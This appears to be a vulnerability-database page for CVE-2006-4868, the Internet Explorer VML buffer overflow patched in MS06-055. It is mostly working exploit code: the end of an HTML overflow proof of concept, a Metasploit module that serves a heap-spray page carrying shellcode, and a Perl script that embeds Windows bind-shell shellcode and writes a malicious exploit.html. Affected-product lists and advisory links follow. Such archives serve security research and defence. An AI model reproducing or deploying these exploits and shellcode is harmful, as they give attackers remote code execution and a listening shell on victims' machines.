;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;&#x0505;" ></v:rect></v:fill></body> </html> # milw0rm.com [2006-09-24]
Exploit Database EDB-ID : 16597

Publication date : 2010-07-02 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # $Id: ms06_055_vml_method.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer VML Fill Method Code Execution', 'Description' => %q{ This module exploits a code execution vulnerability in Microsoft Internet Explorer using a buffer overflow in the VML processing code (VGX.dll). This module has been tested on Windows 2000 SP4, Windows XP SP0, and Windows XP SP2. }, 'License' => MSF_LICENSE, 'Author' => [ 'hdm', 'Aviv Raff <avivra [at] gmail.com>', 'Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>', 'Mr.Niega <Mr.Niega [at] gmail.com>', 'M. Shirk <shirkdog_list [at] hotmail.com>' ], 'Version' => '$Revision: 9669 $', 'References' => [ ['CVE', '2006-4868' ], ['OSVDB', '28946' ], ['MSB', 'MS06-055' ], ['BID', '20096' ], ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ ['Windows NT 4.0 -> Windows 2003 SP1', {'Ret' => 0x0c0c0c0c} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Sep 19 2006')) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Determine the buffer length to use buflen = 1024 if (request.headers['User-Agent'] =~ /Windows 5\.[123]/) buflen = 65535 end # Encode the shellcode shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Get a unicode friendly version of the return address addr_word = [target.ret].pack('V').unpack('H*')[0][0,4] # Select a random VML element to use vmls = %w{ rect roundrect line polyline oval image arc curve } vmlelem = vmls[ rand(vmls.length) ] # The overflow buffer for the method attribute buffer = ("&#x" + addr_word + ";") * buflen # Generate a random XML namespace for VML xmlns = rand_text_alpha(rand(30)+2) # Randomize the javascript variable names var_buffer = rand_text_alpha(rand(30)+2) var_shellcode = rand_text_alpha(rand(30)+2) var_unescape = rand_text_alpha(rand(30)+2) var_x = rand_text_alpha(rand(30)+2) var_i = rand_text_alpha(rand(30)+2) # Build out the message content = %Q| <html xmlns:#{xmlns} = " urn:schemas-microsoft-com:vml " > <head> <style> #{xmlns}\\:* { behavior: url(#default#VML) ; } </style> <body> <script> var #{var_unescape} = unescape ; var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ; var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ; while (#{var_buffer}.length <= 0x400000) #{var_buffer}+=#{var_buffer} ; var #{var_x} = new Array() ; for ( var #{var_i} =0 ; #{var_i} < 30 ; #{var_i}++ ) { #{var_x}[ #{var_i} ] = #{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} + #{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} + #{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} + #{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ; } </script> <#{xmlns}:#{vmlelem}> <#{xmlns}:fill method = "#{buffer}" /> </#{xmlns}:#{vmlelem}> </body> </html> | content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end
Exploit Database EDB-ID : 2426

Publication date : 2006-09-24 22h00 +00:00
Author : Trirat Puttaraksa
EDB Verified : Yes

#!/usr/bin/perl # # Microsoft Internet Explorer VML Remote Buffer Overflow (Windows XP SP2) # # Author: Trirat Puttaraksa (Kira) <trir00t [at] gmail.com> # # Credits: Niega # # [UPDATE Sep 24] # At the first time, I decide to release this exploit on Oct 10. # However, if u see this exploit before Oct 10, it is because of one # of the following reason: # 1. M$ release early than Oct 10 (may be impossible, lol) # 2. there is someone already publish the exploit, so there is no means # to still keep it private # I'm already publish things about XP SP2 in my log :) # # http://sf-freedom.blogspot.com # ############################################################################### # For educational purpose only # # Note: This exploit is modified from Shirkdog's PoC # (http://www.milw0rm.com/exploits/2400) # # I exploit the stack-based buffer overflow in the different manner because of # the problem of shellcode. I use heap spraying technique to injection my # shellcode in the heap. Because I can control EIP so I tell it to jump into # the heap that contains shellcode ^-^ # # This exploit tested on: # Windows XP SP2 + IE6 SP1 # Windows XP SP1 + IE6 SP1 # Windows XP SP0 + IE6 # Windows 2000 SP4 + IE6 SP1 # Windows 2000 SP4 + IE6 # # I will describe more implementation details at my blog in this weekend :) # # P.S. Because of the buffer overflow protection mechanism in Windows XP SP2, # This exploit is not success. The situation that overwrite to the location # that eax point to is not occured, so I cannot use my techqniue # "The Fake Cookie" that I use to break buffer overflow protection in # Windows Server 2003 SP0 to bypass it. If anybody can break this protection # with some techniques, plz share information :) # use strict; # win32_bind LPORT = 5555 - Metasploit my $shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45". "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49". "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d". "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66". "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61". "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40". "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32". "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6". "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09". "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0". "\x66\x68\x15\xb3\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff". "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53". "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff". "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64". "\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89". "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab". "\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51". "\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53". "\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6". "\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"; my $jscript = "<script>\n" . "shellcode = unescape(\"" . convert_shellcode($shellcode) ."\");\n" . "bigblock = unescape(\"\%u9090\%u9090\");\n" . "headersize = 20;\n" . "slackspace = headersize+shellcode.length;\n" . "while (bigblock.length<slackspace) bigblock+=bigblock;\n" . "fillblock = bigblock.substring(0, slackspace);\n" . "block = bigblock.substring(0, bigblock.length-slackspace);\n" . "while(block.length+slackspace<0x40000) block = block+block+fillblock;\n" . "memory = new Array();\n" . "for (i=0;i<350;i++) memory[i] = block + shellcode;\n" . "</script>"; my $header = "<html xmlns:v=\"urn:schemas-microsoft-com:vml\">\n" . "<head>\n" . "<object id=\"VMLRender\" classid=\"CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E\">\n" . "</object>\n" . "<style>\n" . "v\\:* { behavior: url(#VMLRender); }\n" . "</style>\n" . "</head>\n" . $jscript . "<body>\n" . "<v:rect style='width:120pt;height:80pt' fillcolor=\"red\">\n" ; my $footer = "</v:rect>\n" . "</body>\n" . "</html>"; my $body1 = "<v:fill method=\"" ; my $body2 = "\" angle=\"-45\"\n" . "focus=\"100%\" focusposition=\".5,.5\" focussize=\"0,0\"\n" . "type=\"gradientRadial\" />\n" . "</v:rect>\n" . "</body>\n" . "</html>"; my $page = "\xff\xfe"; # magic number of M$ unicode file my $c; # header + body1 foreach $c (split //, ($header . $body1)) { $page = $page . $c . "\x00"; } # very simple :) $page = $page . "\x0d\x0d\x0d\x0d" x 65535; # body2 + footer foreach $c (split //, ($body2 . $footer)) { $page = $page . $c . "\x00"; } open (IE_VML, ">", "exploit.html"); print IE_VML $page; close IE_VML; # This function copy from JSUnescape() code in Metasploit sub convert_shellcode { my $data = shift; my $mode = shift() || 'LE'; my $code = ''; # Encode the shellcode via %u sequences for JS's unescape() function my $idx = 0; # Pad to an even number of bytes if (length($data) % 2 != 0) { $data .= substr($data, -1, 1); } while ($idx < length($data) - 1) { my $c1 = ord(substr($data, $idx, 1)); my $c2 = ord(substr($data, $idx+1, 1)); if ($mode eq 'LE') { $code .= sprintf('%%u%.2x%.2x', $c2, $c1); } else { $code .= sprintf('%%u%.2x%.2x', $c1, $c2); } $idx += 2; } return $code; } # milw0rm.com [2006-09-25]

Products Mentioned

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_2003_server >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Internet_explorer >> Version 6.0

Microsoft>>Outlook >> Version 2003

Configuraton 0

Microsoft>>Windows_2000 >> Version *

Microsoft>>Internet_explorer >> Version 5.0.1

References

http://www.securityfocus.com/bid/20096
Tags : vdb-entry, x_refsource_BID
http://www.vupen.com/english/advisories/2006/3679
Tags : vdb-entry, x_refsource_VUPEN
http://www.kb.cert.org/vuls/id/416092
Tags : third-party-advisory, x_refsource_CERT-VN
http://support.microsoft.com/kb/925486
Tags : vendor-advisory, x_refsource_MSKB
http://secunia.com/advisories/21989
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.us-cert.gov/cas/techalerts/TA06-262A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.osvdb.org/28946
Tags : vdb-entry, x_refsource_OSVDB
http://securitytracker.com/id?1016879
Tags : vdb-entry, x_refsource_SECTRACK